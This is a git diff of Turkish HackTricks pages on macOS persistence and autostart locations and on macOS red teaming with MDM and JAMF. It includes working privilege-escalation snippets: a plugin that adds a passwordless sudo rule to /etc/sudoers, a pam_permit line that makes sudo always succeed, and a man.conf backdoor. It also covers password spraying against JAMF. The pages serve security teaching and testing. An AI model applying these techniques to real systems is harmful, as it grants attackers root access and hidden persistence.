[https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak uygulama kum havuzunda sona ereceksiniz -* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) +* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * Kum havuzu çok sınırlı görünüyor #### Konum @@ -1093,13 +1124,13 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb #### Açıklama ve Sömürü Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\ -Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **açarak bir dizin oluşturur**, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılmasını sağlar. +Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **ayıklamak suretiyle bir dizin oluşturur**, böylece dosya adları ve içerikleri üzerinden hızlı aramalar yapılabilir. -Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç **'meta veri sunucusu'** anlamına gelir. Bu süreç, tüm Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinayet işçisi bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerindeki içeriği anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir. +Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakım görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir. -Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu şekilde Spotlight, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda onları kullanacaktır. +Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantıları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktır. -Yüklenen **tüm `mdimporters`** bulunabilir çalıştırılarak: +Yüklenmiş tüm `mdimporters`'ları **bulmak mümkündür:** ```bash mdimport -L Paths: id(501) ( @@ -1108,7 +1139,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (uzantılar `.iba` ve `.book` dahil diğerleri): +Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (`.iba` ve `.book` uzantıları arasında): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1145,15 +1176,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` {% hint style="danger" %} -Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz. +Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz. Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir. {% endhint %} Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıları desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`**'de yansıtın.\ -Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz. +Ardından, **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz. -Son olarak, yeni `.mdimporter`'ınızı oluşturun ve bir önceki konumlardan birine kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek yüklendiğinde kontrol edebilirsiniz. +Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek kontrol edebilirsiniz. ### ~~Tercih Paneli~~ @@ -1165,7 +1196,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Belirli bir kullanıcı eylemi gerektirir -* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) +* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum @@ -1173,12 +1204,14 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb * **`/Library/PreferencePanes`** * **`~/Library/PreferencePanes`** -Açıklama: Bu artık çalışmıyor gibi görünmüyor. +#### Açıklama -## Root Kum Havuzu Atlama +Bu artık çalışmıyor gibi görünmüyor. + +## Root Kum Havuzu Atlatma {% hint style="success" %} -Burada, **kum havuzu atlamak** için kullanışlı olan başlangıç ​​konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve/veya diğer **garip koşullar gerektirirken** **root** olmanızı sağlar. +Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve **root** olmanızı ve/veya diğer **garip koşulları gerektirir.** {% endhint %} ### Periyodik @@ -1187,18 +1220,20 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilb * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak root olmanız gerekiyor -* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) +* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * Root gereklidir -* **Tetikleyici**: Zamanı geldiğinde +* **Tetikleyici**: Zaman geldiğinde * `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` * Root gereklidir -* **Tetikleyici**: Zamanı geldiğinde +* **Tetikleyici**: Zaman geldiğinde -Açıklama ve Sömürü: Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` dizininde depolanan betiklerin dosya sahibi olarak **yürütüldüğünü** unutmayın, bu nedenle bu, potansiyel bir ayrıcalık yükseltmesi için çalışmayacaktır. +#### Açıklama ve Sömürü + +Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/`'de depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmayacaktır. {% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts @@ -1242,35 +1277,35 @@ monthly_local="/etc/monthly.local" # Local scripts Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**. {% hint style="warning" %} -Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer betiğin sahibi bir düzenli kullanıcı ise, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). +Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer düzenli bir kullanıcı betiğin sahibiyse, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). {% endhint %} ### PAM -Açıklama: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Açıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) +Yazı: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +Yazı: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) -* Ancak root olmanız gerekiyor +* Ancak root olmanız gerekmektedir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum -* Her zaman kök izin gereklidir +* Her zaman kök gereklidir #### Açıklama ve Sömürü -PAM, macOS içinde kolay yürütmeden ziyade **süreklilik** ve kötü amaçlı yazılımlara odaklandığından, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için açıklamaları okuyun**. +PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara daha fazla odaklandığı için, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için yazıları okuyun**. PAM modüllerini kontrol etmek için: ```bash ls -l /etc/pam.d ``` -Bir kalıcılık/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek çok kolaydır, başına şu satırı ekleyerek: +Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapılabilir. Başlangıca şu satırı eklemek yeterlidir: ```bash auth sufficient pam_permit.so ``` -Yani bu, şuna benzer bir şey gibi görünecek: +Yani bu şöyle **görünecek**: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1284,7 +1319,7 @@ session required pam_permit.so Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**. {% hint style="danger" %} -Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim isteyen bir ileti alması muhtemeldir. +Bu dizin TCC tarafından korunduğundan, kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır. {% endhint %} ### Yetkilendirme Eklentileri @@ -1293,7 +1328,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb Açıklama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) -* Ancak root olmanız ve ek yapılandırmalar yapmanız gerekiyor +* Ancak root olmanız ve ek yapılandırmalar yapmanız gerekmektedir * TCC atlatma: ??? #### Konum @@ -1319,7 +1354,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**Bündeyi** yüklenmesi gereken konuma taşıyın: +**Birleşimi** yüklenmesi gereken konuma taşıyın: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` @@ -1342,7 +1377,7 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmanın çağrılması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır. +**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmayı çağırması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır. Şununla tetikleyin: ```bash @@ -1364,9 +1399,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilb * Root gerekli * **`/private/etc/man.conf`**: Her man kullanıldığında -#### Açıklama ve Sızma +#### Açıklama ve Sömürü -Yapılandırma dosyası **`/private/etc/man.conf`**, man belge dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür. +Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür. Örneğin **`/private/etc/man.conf`** içinde ayarlanmış: ``` @@ -1384,7 +1419,7 @@ touch /tmp/manconf **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) +* Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * Httpd'nin yetkilendirmeleri yok @@ -1397,7 +1432,7 @@ touch /tmp/manconf #### Açıklama ve Sızma -`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemesini belirtmek için şu gibi bir satır ekleyebilirsiniz: +`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemek için aşağıdaki gibi bir satır ekleyebilirsiniz: {% code overflow="wrap" %} ```bash @@ -1405,7 +1440,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni bir güvenilir sertifika eklemek** ve onunla **imzalamak**. +Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni güvenilir bir sertifika eklemek** ve onunla **imzalamak**. Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz: ```bash @@ -1452,7 +1487,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn **StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır: 1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği. -2. Çeşitli yapılandırma ayarlarını içeren, özellikle `StartupParameters.plist` adında bir **plist dosyası**. +2. **plist dosyası**, özellikle `StartupParameters.plist` adında, çeşitli yapılandırma ayarlarını içeren. Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun. @@ -1476,7 +1511,7 @@ Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc ``` {% endtab %} -{% tab title="superservisadi" %} +{% tab title="superservisadı" %} ```bash #!/bin/sh . /etc/rc.common @@ -1501,14 +1536,14 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için yazıya bakın +Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için writeup'a bakın {% endhint %} -Yazı: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak erişilebilir durumda kalmaktadır. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir. +Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir. -Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmet için sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir: +Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem için LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir: ```bash ls -l /private/var/db/emondClients ``` @@ -1522,26 +1557,26 @@ Yazım: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.g * Root gereklidir * **Tetikleyici**: XQuartz ile -#### Açıklama ve Sömürü +#### Açıklama ve Sızma XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yazıya bakın. ### ~~kext~~ {% hint style="danger" %} -Kext'i yüklemek bile kök olarak çok karmaşıktır, bu yüzden bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (bir açığınız yoksa) +Kext'i yüklemek bile kök olarak çok karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (sadece bir açığız varsa) {% endhint %} #### Konum -Bir KEXT'i başlangıç öğesi olarak yüklemek için, aşağıdaki konumlardan birine **yüklü olması gerekir**: +Bir KEXT'i başlangıç öğesi olarak yüklemek için aşağıdaki konumlardan birine **yüklü olması gerekir**: * `/System/Library/Extensions` -* OS X işletim sistemi içine yerleştirilmiş KEXT dosyaları. +* OS X işletim sistemi tarafından derlenmiş KEXT dosyaları. * `/Library/Extensions` * 3. taraf yazılım tarafından yüklenen KEXT dosyaları -Şu anda yüklenmiş kext dosyalarını listelemek için: +Şu anda yüklenmiş kext dosyalarını listeleyebilirsiniz: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1549,7 +1584,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Daha fazla bilgi için [**çekirdek uzantıları kontrol etme bölümüne bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Daha fazla bilgi için [**çekirdek uzantılarına bu bölüme bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ @@ -1562,7 +1597,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilb #### Açıklama ve Sömürü -Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili çağrılacaktı. +Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikiliniz çağrılacaktı. Artık macOS'ta bunu bulamıyorum. @@ -1586,7 +1621,7 @@ Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile **Bu modern MacOS sürümlerinde çalışmıyor** {% endhint %} -Ayrıca buraya **başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür.** Tipik bir rc.common betiği örneği: +Ayrıca buraya **başlangıçta çalıştırılacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği: ```bash # # Common setup for startup scripts. @@ -1693,7 +1728,7 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.** +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md index 2ef9852a2..9da45aeca 100644 --- a/macos-hardening/macos-red-teaming/README.md +++ b/macos-hardening/macos-red-teaming/README.md @@ -2,15 +2,15 @@
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -19,9 +19,9 @@ HackTricks'ı desteklemenin diğer yolları: * JAMF Pro: `jamf checkJSSConnection` * Kandji -Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirmeyi** başarırsanız, kötü amaçlı yazılımınızı makinelerde dağıtarak **potansiyel olarak tüm bilgisayarları tehlikeye atabilirsiniz**. +Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**. -MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl çalıştığı hakkında biraz anlayışa sahip olmanız **şiddetle önerilir**: +MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığını anlamak son derece önerilir: {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) @@ -29,41 +29,41 @@ MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl ç ### MDM'yi C2 Olarak Kullanma -Bir MDM, profil yükleme, sorgulama veya kaldırma, uygulama yükleme, yerel yönetici hesapları oluşturma, firmware şifresi ayarlama, FileVault anahtarını değiştirme gibi izinlere sahip olacaktır... +Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir... -Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden elde etmeye çalışabileceğiniz bir satıcı tarafından imzalanan **CSR'ınıza** ihtiyacınız vardır. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. +Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden **bir satıcı tarafından imzalanan CSR'nızı** almanız gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. -Ancak, kayıtlı bir cihaza bir uygulama yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. +Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. -Bir cihazı MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır). +Cihazı bir MDM'ye kaydetmek için, kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir). -**Mythic agent Orthrus** bu tekniği kullanır. +**Mythic ajanı Orthrus** bu tekniği kullanır. ### JAMF PRO'yu Kötüye Kullanma -JAMF, **özel komut dosyaları** (sistem yöneticisi tarafından geliştirilen komut dosyaları), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/süreç izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. +JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. -#### JAMF otomatik kaydı +#### JAMF otomatik kayıt -`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **otomatik kaydın etkin olup olmadığını** kontrol edebilirsiniz. Etkinse **erişim için kimlik bilgileri isteyebilir**. +Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Eğer etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**. -[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir parola sıçratma saldırısı gerçekleştirebilirsiniz. +[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir şifre püskürtme saldırısı gerçekleştirebilirsiniz. -Ayrıca, uygun kimlik bilgilerini bulduktan sonra diğer kullanıcı adlarını brute-force yöntemiyle deneyebilirsiniz: +Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısı yapabilirsiniz: ![](<../../.gitbook/assets/image (7) (1) (1).png>) #### JAMF cihaz Kimlik Doğrulama -
+
